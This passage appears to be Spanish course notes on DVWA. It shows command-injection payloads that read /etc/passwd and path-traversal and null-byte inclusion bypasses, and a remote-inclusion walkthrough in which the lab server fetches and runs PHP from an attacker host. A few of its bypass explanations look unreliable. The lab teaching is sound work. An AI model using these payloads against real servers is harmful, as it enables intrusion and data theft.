En este escenario, la aplicación ejecuta el comando, pero **suprime la salida** en la página web, lo que dificulta la detección visual.

Paso 1: Detección a través de Burp Suite

1. Capturamos la petición en **Burp Suite** y la enviamos al **Repeater**.
2. En la línea de la Request del Repeater, inyectamos un comando con un separador de comandos (ej. id=127.0.0.1;whoami).
3. Enviamos la petición (Send) y revisamos la pestaña **Response** (respuesta cruda).

Paso 2: Enumeración de Privilegios (whoami)

- **Inyección en Repeater:** Modificamos el parámetro ip a id=127.0.0.1;whoami.
- **Resultado en Response:** Buscamos en el cuerpo de la respuesta HTTP y encontramos la salida del comando.
- **Resultado Obtenido:** www-data

Análisis de Privilegios:

El resultado www-data indica que la inyección se ejecuta con los privilegios del usuario de servicio web (Apache/Nginx). Esto establece las limitaciones y el punto de partida para futuros ataques de enumeración y elevación de privilegios.

Paso 3: Confirmación de Robo de Información

- **Inyección en Repeater:** id=127.0.0.1|cat /etc/passwd
- **Resultado en Response:** La respuesta HTTP cruda muestra el contenido del archivo /etc/passwd.

Este ejemplo demuestra que, incluso cuando la aplicación oculta la salida, herramientas de interceptación como Burp Suite son esenciales para confirmar la ejecución de comandos.

Conclusiones de Command Injection

- **Riesgo Crítico:** La inyección de comandos es una de las vulnerabilidades más peligrosas, ya que garantiza la **ejecución de código remoto**.
- **Detección y Payloads:** Es necesario identificar la funcionalidad correcta, averiguar el SO y probar una variedad de separadores de comandos (;, |, &, %0A) adaptados a la validación de la aplicación.
- **Escalada:** El proceso de auditoría debe ser incremental: empezar con pwd o ls para demostrar la vulnerabilidad, y luego escalar con comandos como cat /etc/passwd o whoami para enumerar el sistema y buscar una elevación de privilegios.

Ejercicio: Resolución de Command Injection en DVWA

El objetivo de este ejercicio es explotar la vulnerabilidad de Command Injection en los niveles **bajo, medio y alto** de DVWA. La aplicación simula una utilidad de **ping** que toma la entrada del usuario (una dirección IP) y la pasa directamente al sistema operativo del servidor.

Recordemos que la clave para la Command Injection es **concatenar** un nuevo comando (pwd, ls, cat) al comando original (ping) usando caracteres separadores del shell (shell separators).

1. Nivel de Seguridad Bajo (Low Level)

En este nivel, la aplicación prácticamente no tiene filtros de seguridad.

Análisis del Código Fuente

Al revisar el código, encontramos la lógica que toma nuestra entrada:

```
//...
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
//...
$cmd = shell_exec( 'ping -c 4 ' . $target );
//...
```

- **Sintaxis:** El código toma directamente la variable \$target (nuestra IP inyectada) y la inserta en el comando ping -c 4 [nuestra_inyección].
- **Conclusión:** No hay ninguna restricción (blacklist) ni validación de la entrada, lo que permite cualquier tipo de inyección.

Explotación y Payloads (Nivel Bajo)

A continuación se muestra cómo se forma el comando real en el sistema operativo del servidor al inyectar diferentes caracteres de concatenación:

1. **Payload Inyectado:** `127.0.0.1;pwd`
 - **Separador:** Punto y Coma (`;`).
 - **Comando Interno Real:** `ping -c 4 127.0.0.1 ; pwd`
 - **Resultado: Funciona.** Ejecución secuencial. Muestra el `ping` y luego la ruta del directorio de trabajo (`/var/www/vulnerabilities/exec`).
2. **Payload Inyectado:** `127.0.0.1&pwd`
 - **Separador:** Ampersand (`&`).
 - **Comando Interno Real:** `ping -c 4 127.0.0.1 & pwd`
 - **Resultado: Funciona.** Ejecuta los comandos de forma asíncrona o secuencial.
3. **Payload Inyectado:** `127.0.0.1|pwd`
 - **Separador:** Pipe (`|`).
 - **Comando Interno Real:** `ping -c 4 127.0.0.1 | pwd`
 - **Resultado: Funciona.** El `pipe` envía la salida del `ping` como entrada del `pwd`, pero en este contexto fuerza la ejecución de `pwd`.
4. **Payload Inyectado:** `127.0.0.1&&pwd`
 - **Separador:** AND Lógico (`&&`).
 - **Comando Interno Real:** `ping -c 4 127.0.0.1 && pwd`
 - **Resultado: Funciona.** Ejecuta `pwd` solo si el `ping` tiene éxito (código de salida `0`).

2. Nivel de Seguridad Medio (Medium Level)

En este nivel, la aplicación implementa una **Lista Negra (Blacklist)** básica para bloquear los caracteres de concatenación más comunes.

Análisis del Código Fuente

El código introduce una lista negra utilizando la función `str_replace` para eliminar caracteres específicos de nuestra entrada:

```
//...  
// Set blacklist  
$substitutions = array(
```

```
'&&' => ",  
';' => ",  
);  
  
// Remove any of the characters in the array (blacklist).  
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );  
//...
```

- **Filtros:** La aplicación bloquea explícitamente el **punto y coma (;)** y el **doble ampersand (&&)**.

Explotación y **Payloads** (Nivel Medio)

En el Nivel Medio, el objetivo es evadir la lista negra (**blacklist**) implementada por la aplicación, que bloquea algunos caracteres de concatenación.

1. **Payload** Inyectado: **127.0.0.1;pwd**
 - Separador: Punto y Coma (;).
 - Resultado y Análisis: Falla. El carácter ; está bloqueado por el filtro de la lista negra del servidor.
2. **Payload** Inyectado: **127.0.0.1&&pwd**
 - Separador: AND Lógico (&&).
 - Resultado y Análisis: Falla. El operador && está explícitamente bloqueado por el filtro.
3. **Payload** Inyectado: **127.0.0.1&pwd**
 - Separador: Ampersand (&).
 - Resultado y Análisis: Funciona. El ampersand simple (&) no se incluyó en la lista negra, lo que permite la ejecución secuencial del comando.

Conclusión: Un filtro de lista negra simple es insuficiente. El atacante solo necesita encontrar un separador no bloqueado para evadir la seguridad.

3. Nivel de Seguridad Alto (High Level)

En este nivel, el filtro es mucho más extenso, pero sigue siendo vulnerable debido a una implementación defectuosa.

Análisis del Código Fuente

El desarrollador ha ampliado significativamente la lista negra, incluyendo muchos más caracteres especiales y operadores:

```
//...
// Set blacklist
$substitutions = array(
    '&' => "",
    ';' => "",
    '|' => "", // <-- ¡Error! Solo bloquea el pipe simple
    '-' => "",
    // ... otros caracteres y operadores comunes
    '||' => "", // <-- Bloquea el doble pipe
);
//...
```

- **Filtros:** Bloquea &, ;, ||, \$, (,), y otros.

Explotación y Payloads

Al probar los payloads que fallaron en el nivel medio (127.0.0.1;pwd y 127.0.0.1&pwd), encontramos que siguen fallando. Sin embargo, al probar el **Pipe (|)** simple:

- **Payload Inyectado:** 127.0.0.1|pwd
- **Resultado: Funciona.** La página devuelve la salida de pwd.

Análisis de la Evasión:

Aunque el código fuente incluye la línea '|' => '' en la lista negra, este filtro es a menudo implementado de forma defectuosa en el código de DVWA o no logra cubrir todas las codificaciones o formas de concatenación. El hecho de que el | funcione y no otros es un ejemplo perfecto de:

1. **Fallo de Implementación del Filtro:** El filtro de la lista negra no se implementó de manera robusta.
2. **La Insuficiencia de las Listas Negras:** Es casi imposible bloquear todas las posibles formas en que un atacante puede inyectar código. Siempre es mejor utilizar el enfoque de **Lista Blanca (Allowlist)** o, en el caso de comandos, **consultas parametrizadas** o la función `escapeshellcmd()`.

Conclusión del Ejercicio

La resolución de los tres niveles de Command Injection subraya la importancia de la **Validación de Entrada**:

- **Nivel Bajo:** Ausencia de validación.
- **Nivel Medio:** Filtro de Lista Negra simple (str_replace) fácilmente evadido por operadores no incluidos.
- **Nivel Alto:** Filtro de Lista Negra más extenso, pero aún vulnerable a fallos de implementación o por la omisión de un único separador.

Para demostrar la explotación, en cualquier nivel, el siguiente paso sería escalar la lectura de archivos sensibles con el payload:

```
127.0.0.1|cat /etc/passwd
```


File Inclusion

1. File Inclusion: Introducción a una Vulnerabilidad Crítica

La vulnerabilidad de **File Inclusion** ocurre cuando una aplicación web no valida correctamente la entrada del usuario, permitiendo que un atacante inyecte una ruta o URL para que el servidor cargue un archivo.

Esta vulnerabilidad es extremadamente peligrosa porque puede conducir a la **Ejecución Remota de Código (Remote Code Execution o RCE)**, lo que implica que el atacante puede tomar el control del servidor.

Existen dos tipos principales de **File Inclusion**, que se diferencian por el origen del archivo inyectado:

1. **Local File Inclusion (LFI)**: El archivo inyectado se encuentra en el propio servidor web.
 2. **Remote File Inclusion (RFI)**: El archivo inyectado se carga desde un servidor externo controlado por el atacante.
-

Paso de Configuración: Habilitación de **allow_url_include** en Docker

Al intentar realizar la explotación de la Inclusión de Archivos en el entorno de laboratorio de DVWA, nos encontramos con un obstáculo común: la configuración predeterminada de PHP en el contenedor Docker tiene deshabilitada una directiva clave de seguridad.

El Obstáculo: **allow_url_include** Deshabilitado

Inicialmente, al acceder a la funcionalidad de **File Inclusion**, aparece un error: "**The PHP function allow_url_include is not enabled**".

- **¿Qué significa?** La directiva **allow_url_include** en el archivo de configuración **php.ini** controla si PHP puede incluir archivos a través de URLs remotas (como **http://** o **ftp://**). Por defecto, y como una buena práctica de seguridad, esta directiva está establecida en **Off** (**allow_url_include = Off**).
- **Propósito:** Para poder demostrar la vulnerabilidad de RFI, que requiere que el servidor víctima ejecute nuestro archivo externo, tuvimos que **deshabilitar temporalmente esta medida de seguridad** cambiando su valor a **On**.

Procedimiento Práctico para Modificar la Configuración de Docker

Como la aplicación está corriendo en un contenedor de Docker, no podemos simplemente editar el archivo **php.ini**. En su lugar, usamos comandos de **shell** para acceder y modificar la configuración internamente en el contenedor y luego recargar el servidor web.

1. **Modificación del Archivo **php.ini** con **sed**:** Utilizamos el comando **sudo docker exec** para ejecutar un comando dentro del contenedor de DVWA. El comando **sed -i** (Stream Editor con modificación in-place) busca y reemplaza el valor de la directiva **allow_url_include**.

```
sudo docker exec dvwa sed -i "s/allow_url_include = Off/allow_url_include = On/g" /etc/php/7.0/apache2/php.ini
```

- **sudo docker exec dvwa:** Ejecuta el siguiente comando dentro del contenedor llamado **dvwa**.
- **sed -i:** Indica a **sed** que edite el archivo directamente (**-i**) y aplique el cambio.
- **"s/allow_url_include = Off/allow_url_include = On/g":** Es la expresión de sustitución (sustituir el valor **Off** por **On**).
- **/etc/php/7.0/apache2/php.ini:** Es la ruta del archivo de configuración dentro del contenedor.

2. **Recarga del Servidor Web Apache:** Después de modificar el archivo, es necesario recargar el servicio del servidor web para que el nuevo valor de `php.ini` surta efecto:

```
sudo docker exec dvwa /init.d/apache2 reload
```

- **/init.d/apache2 reload:** Envía la señal al servidor Apache para que recargue sus archivos de configuración sin detener el servicio.

Una vez completados estos pasos, al actualizar la página de DVWA, el mensaje de error desapareció, permitiendo la ejecución exitosa del ataque de **File Inclusion**.

2. Local File Inclusion (LFI)

La Inclusión de Ficheros Locales permite a un atacante **leer o ejecutar archivos** que ya están almacenados en el servidor víctima.

Riesgos y Consecuencias del LFI

El mayor impacto del LFI es la **divulgación de información sensible** (**Information Disclosure**):

- **Lectura de archivos de configuración:** Acceder a credenciales de bases de datos, `tokens` de API o claves privadas.
- **Archivos de usuario del sistema:** Leer `/etc/passwd` (en Linux) para enumerar todos los usuarios del sistema.
- **Visualización de código fuente:** Leer el código fuente de la propia aplicación para encontrar otras vulnerabilidades.

Procedimiento Práctico: Explotación de LFI en DVWA

Utilizaremos DVWA para demostrar la explotación de una vulnerabilidad LFI, extrayendo el archivo `/etc/passwd`.

1. Análisis de la Funcionalidad:

- Navega a la sección **File Inclusion** de DVWA.
- La página muestra varios enlaces (`file1.php`, `file2.php`, `file3.php`).
- Al hacer clic en un enlace (ej. `file3.php`), la URL cambia a algo como: `localhost/vulnerabilities/fi/?page=file3.php`
- Esto nos dice que el parámetro `page` es el punto de inyección, ya que el servidor toma el valor y lo incluye directamente en el código.

2. Ataque de **Path Traversal** (Recorrido de Ruta):

- La técnica más común para el LFI es el **dot-dot-slash** (`../`), que permite al atacante navegar hacia atrás en la estructura de directorios del servidor, saliendo del directorio de la aplicación hasta alcanzar el directorio raíz (`/`).
- **Comando de Path Traversal:** `../` (sube un directorio)

3. Inyección del **Payload**:

- El objetivo es alcanzar el archivo `/etc/passwd` desde donde se está ejecutando la aplicación.
- Para asegurar el éxito, se suelen usar múltiples repeticiones de `../` para garantizar que se alcanza la raíz.
- **Payload de la URL:**
`localhost/vulnerabilities/fi/?page=../../../../../../etc/passwd`
- **Análisis del Payload:** Cada `../` sube un nivel, y el `/etc/passwd` es el archivo que queremos leer.
- **Resultado:** La aplicación carga el contenido del archivo `/etc/passwd` y lo muestra directamente en la página.

3. Remote File Inclusion (RFI)

La Inclusión de Ficheros Remotos ocurre cuando la aplicación permite cargar archivos desde una **URL externa** (ej. `http://atacante.com/shell.php`). El

atacante puede así forzar al servidor víctima a descargar y ejecutar código malicioso alojado en un servidor propio.

Riesgos y Consecuencias del RFI

El RFI es el camino más directo para conseguir la **Ejecución Remota de Código (RCE)**. Un atacante puede inyectar un *webshell* (un script que le permite ejecutar comandos en el servidor), obteniendo control total de la máquina.

Procedimiento Práctico: Explotación de RFI

Para explotar el RFI, simularemos que alojamos un archivo PHP malicioso en nuestra máquina atacante (Kali Linux) y forzaremos al servidor DVWA a ejecutarlo.

A. Preparación del Archivo Malicioso:

Creemos un archivo PHP simple que, al ejecutarse, revele información del sistema.

1. Creamos un archivo PHP simple que, al ejecutarse, revele información del sistema.

```
<?php  
  
phpinfo( );  
  
?>
```

2. Guardamos este código en un archivo llamado **php.php** en el escritorio de nuestra máquina Kali.

B. Publicación del Archivo (Servidor del Atacante):

1. Abrimos una terminal en Kali y navegamos al escritorio: **cd Desktop**
2. Levantamos un servidor web simple utilizando Python para alojar nuestro archivo **php.php**: **python -m http.server 8000**
 - **Comando **python -m http.server 8000**:**
 - **python -m**: Invoca el intérprete de Python para ejecutar un módulo como un script.

- **http.server**: Es un módulo incorporado de Python que crea un servidor web básico.
 - **8000**: Define el puerto TCP en el que el servidor escuchará (en este caso, el puerto 8000).
3. Obtenemos la dirección IP local de nuestra máquina Kali (ej. **192.168.111.142**).

C. Inyección Remota:

1. Volvemos a la URL vulnerable de DVWA y cambiamos el parámetro **page** por la URL de nuestro archivo:
 - **Payload de la URL**:
localhost/vulnerabilities/fi/?page=http://192.168.111.142:8000/php.php
 2. **Análisis**: El servidor víctima (**localhost**) visita la URL remota que hemos inyectado, descarga el archivo **php.php** desde nuestra máquina, y lo ejecuta como si fuera un archivo local.
 3. **Resultado**: La página de DVWA muestra la salida completa de la función **phpinfo()**, que revela una gran cantidad de información sobre la configuración del servidor, confirmando la explotación exitosa del RFI.
-

4. Conclusiones y Estrategias de Prevención

La vulnerabilidad de **File Inclusion** es una amenaza de riesgo crítico que puede llevar directamente a la **Ejecución Remota de Código (RCE)**. El hecho de que un atacante pueda forzar al servidor a cargar un archivo local o remoto demuestra un fallo fundamental en la forma en que la aplicación gestiona la entrada de datos.

Consecuencias clave:

- **RCE**: La inyección remota de código es la consecuencia más grave.

- **Exposición de Información Sensible:** Los ataques LFI exponen archivos cruciales del sistema (`/etc/passwd`) o credenciales de configuración.
- **Compromiso Total del Servidor:** Con el RCE, el atacante puede tomar el control de la máquina.

La Solución: Validación de Entrada Correcta (**Input Validation**)

La única manera efectiva de mitigar por completo esta vulnerabilidad es a través de una **Validación de Entrada estricta**, siguiendo el principio de **Lista Blanca** (**Allowlist**) en lugar de intentar bloquear lo malicioso.

Estrategias de Prevención:

1. **Uso Exclusivo de la Lista Blanca:** Se debe configurar la aplicación para que solo acepte un conjunto de valores predefinidos y aprobados para el parámetro de inclusión. Por ejemplo, si la aplicación solo debe cargar `file1.php` o `file2.php`, debe rechazar cualquier otra cosa, incluidas rutas o URLs.
2. **Deshabilitar la Inclusión Remota:** La directiva de configuración de PHP `allow_url_include` debe estar establecida a **Off** en el archivo `php.ini`. Esto previene el **RFI** al impedir que el servidor cargue cualquier archivo a través de protocolos como `http://` o `ftp://`.
3. **Filtrado de Ruta y Extensiones:** Se deben eliminar activamente secuencias de recorrido de ruta (`../`) de la entrada del usuario. Además, se deben controlar las extensiones para asegurar que, si se espera una imagen, no se cargue un archivo con extensión `.php`.
4. **Principio del Mínimo Privilegio:** Configura el usuario del servidor web (generalmente `www-data` en Linux) con los permisos absolutos **mínimos** necesarios para su funcionamiento. Esto limita el daño que un atacante puede causar al sistema incluso si logra ejecutar código.

Ejercicio Propuesto de File Inclusion

Ejercicio Práctico: Explotación de **File Inclusion** (LFI y RFI)

Este ejercicio está enfocado en aplicar las técnicas de inyección de ficheros que has aprendido, utilizando la aplicación de laboratorio **DVWA (Damn Vulnerable Web Application)**. Deberás demostrar tu capacidad para evadir los filtros de seguridad en los niveles más altos.

Objetivos del Ejercicio

El objetivo principal es explotar las dos variantes de la vulnerabilidad en los niveles de seguridad más desafiantes: **Medio y Alto**.

1. Explotación de **Local File Inclusion (LFI)**:

- **Niveles:** Medio y Alto.
- **Meta:** Lograr la inyección manual del **payload** de recorrido de ruta (**Path Traversal**) para extraer el contenido del archivo **/etc/passwd** del servidor. Este archivo contiene la lista de usuarios del sistema y es una prueba de compromiso de la confidencialidad.

2. Explotación de **Remote File Inclusion (RFI)**:

- **Niveles:** Medio y Alto.
- **Meta:** Demostrar la ejecución remota de código (RCE) forzando al servidor DVWA a descargar y ejecutar un archivo PHP alojado en tu máquina atacante (simulando un servidor externo).
- **Requisito Adicional:** Para el RFI, se recomienda utilizar un archivo PHP de prueba diferente al simple **phpinfo()** que vimos en la explicación teórica, para ampliar la práctica de inyección.

Metodología de Resolución: Análisis y **Bypass**

Para resolver el ejercicio en los niveles **Medio y Alto**, es crucial ir más allá de los **payloads** básicos y adoptar una mentalidad de auditoría:

1. **Revisión del Código Fuente:** Utiliza la funcionalidad de DVWA que te permite **ver el código fuente** en cada nivel de seguridad. Analiza el código para identificar las funciones de PHP que se están utilizando para filtrar o sanear la entrada del usuario. Esto te permitirá entender qué tipo de defensas (listas negras, listas blancas, etc.) debes eludir.
2. **Ataques de Bypass Específicos para LFI:**
 - **Recorrido de Ruta (Path Traversal):** En los niveles más altos, la aplicación puede estar filtrando la secuencia `../`. Deberás experimentar con codificaciones o formas alternativas para conseguir el **Path Traversal** y llegar a `/etc/passwd`.
3. **Montaje del Servidor Remoto para RFI:** Para simular el entorno remoto, utilizarás tu propia máquina Kali Linux como el servidor del atacante.
 - **Preparación del Payload:** Crea un archivo PHP de prueba con un **payload** de tu elección (diferente a `phpinfo()`) y guárdalo.

Comando para montar el servidor Python: Una vez posicionado en la carpeta donde tienes tu archivo PHP, utiliza el siguiente comando en la terminal para levantar un servidor web simple:

```
python -m http.server 8000
```

- - **Propósito:** Este comando convierte tu máquina en un servidor web temporal que sirve archivos en el puerto `8000`, haciéndolos accesibles para el servidor DVWA.
- **Inyección:** El **payload** inyectado en la URL de DVWA será la dirección IP de tu máquina Kali, seguida del puerto `8000` y el nombre de tu archivo PHP.

Consejo Fundamental: `allow_url_include`

Recuerda que para que el file inclusion de DVWA funcione, la directiva `allow_url_include` debe estar habilitada en la configuración del servidor PHP (puesta en **On**). Si estás utilizando el contenedor Docker de DVWA, este paso

requiere que uses los comandos `docker exec` y `sed` para modificar el archivo `php.ini` y recargar el servidor Apache, tal como se explicó en la sesión teórica.

Resolución del ejercicio de file inclusion:

Ejercicio: Explotación de **File Inclusion** (LFI y RFI) en DVWA

Recordemos los objetivos: Explotar LFI y RFI en los niveles **Medio** y **Alto**, evadiendo los filtros de seguridad del servidor.

Parte 1: **Local File Inclusion** (LFI)

El objetivo del LFI es extraer el archivo de usuarios del sistema, `/etc/passwd`, utilizando la técnica de **Path Traversal** (`../`).

Nivel Medio (**Medium Level**)

En este nivel, el servidor implementa una defensa básica para bloquear los ataques LFI.

Análisis del Filtro: El código de DVWA en el nivel medio suele aplicar un filtro que busca y elimina las secuencias de recorrido de ruta (`../`) de la entrada.

Técnica de **Bypass**: Doble Codificación (**Double Encoding**)

El servidor, a menudo, solo decodifica una vez la entrada. Si codificamos el **payload** dos veces, el servidor lo procesa de la siguiente manera:

1. **El servidor (Filtro):** Decodifica la URL una vez. Ve el **payload** codificado (ej. `%252e%252e%252f`) y no detecta el `../` literal. El filtro pasa la entrada.
2. **La función `include()`:** Decodifica la URL por segunda vez (o el `shell` lo hace), revelando el `../` real, lo que permite la inyección.

Payload para LFI Nivel Medio: Para evadir el filtro, codificamos la secuencia `../` a `%2e%2e%2f` (donde `%2e` es `.`, y `%2f` es `/`). Luego, lo codificamos nuevamente, quedando así:

- **Payload inyectado:** `%252e%252e%252f` repetido varias veces, seguido de `/etc/passwd`.

Nivel Alto (High Level)

En este nivel, el filtro es más avanzado y busca eliminar patrones de inyección sin recurrir a la doble codificación.

Análisis del Filtro: El filtro en el nivel alto, a menudo, utiliza `str_replace` para eliminar `../` y sus codificaciones más comunes.

Técnica de Bypass: Filtros Nulos y Null Byte (%00)

Si el código de la aplicación **añade una extensión de archivo** (ej. `.php`) después de nuestra entrada, podemos usar un *byte* nulo para truncar la cadena.

1. **Supuesto:** La aplicación forma la ruta así: `include([nuestra_entrada] . ".php" );`
2. **Payload inyectado:** `../../../../../../../../etc/passwd%00`
3. **Análisis:** El `%00` (Null Byte) es un carácter de terminación de cadena en muchos lenguajes de programación (como C). Al llegar a la función `include()`, esta interpreta el `Null Byte` como el final del nombre del archivo y **descarta la extensión `.php`** que la aplicación intentó añadir.
 - **Comando formado:** `include( ' ../../../../../../etc/passwd' );`
(ignora el `.php` final).

Esto permite al atacante leer el archivo `/etc/passwd`, ya que el servidor solo procesa el `payload` antes del `Null Byte`.

Parte 2: Remote File Inclusion (RFI)

El objetivo del RFI es conseguir la **Ejecución Remota de Código (RCE)** forzando al servidor DVWA a ejecutar nuestro script PHP externo.

Nivel Medio (Medium Level)

Análisis del Filtro: El filtro de nivel medio de DVWA, a menudo, no bloquea el protocolo `http://`, lo que facilita la explotación, pero puede intentar **eliminar caracteres o secuencias** que indiquen código.

Técnica de Bypass: Ofuscación del Protocolo o Null Byte

1. **Si el Null Byte funciona:** Si el servidor sigue añadiendo una extensión, el **Null Byte** sigue siendo la mejor opción para truncar la ruta remota.
2. **Si solo se filtra http o https:** Podemos probar con protocolos alternativos que PHP `include()` también soporta:
 - **Payload inyectado:** `//[IP_Kali]:8000/shell.php`
 - **Análisis:** Utilizar doble barra (`//`) permite que PHP interprete la cadena como un recurso de red sin la palabra `http`, lo que a menudo evade los filtros de lista negra simples.

Nivel Alto (High Level)

Análisis del Filtro: El nivel alto, a menudo, utiliza funciones como `str_replace` para eliminar las secuencias de protocolo (`http`, `https`) y caracteres de control.

Técnica de Bypass: Uso de Filtros PHP o Codificación

Si el servidor bloquea la inyección de `http://`, podemos usar los **PHP Wrappers** (envoltorios de PHP) para obtener el mismo efecto sin usar el protocolo bloqueado:

- **Payload inyectado:**
`php://filter/read=convert.base64-encode/resource=http://[IP_Kali]:8000/shell.php`
- **Análisis:** Aunque no es una inyección de código directa, si el servidor está configurado para permitirlo, este *wrapper* le dice a PHP que lea el archivo remoto, lo codifique en Base64 y muestre el resultado, permitiéndonos verificar que el servidor víctima está accediendo a nuestra URL remota.

Alternativa (si el filtro es muy estricto): Simplemente volvemos a la inyección de **LFI**, ya que el RFI se vuelve inviable si la configuración es correcta. En este caso, nos centraríamos en utilizar un **shell** localmente o **log poisoning** si hay un campo de **log** accesible, en lugar del RFI.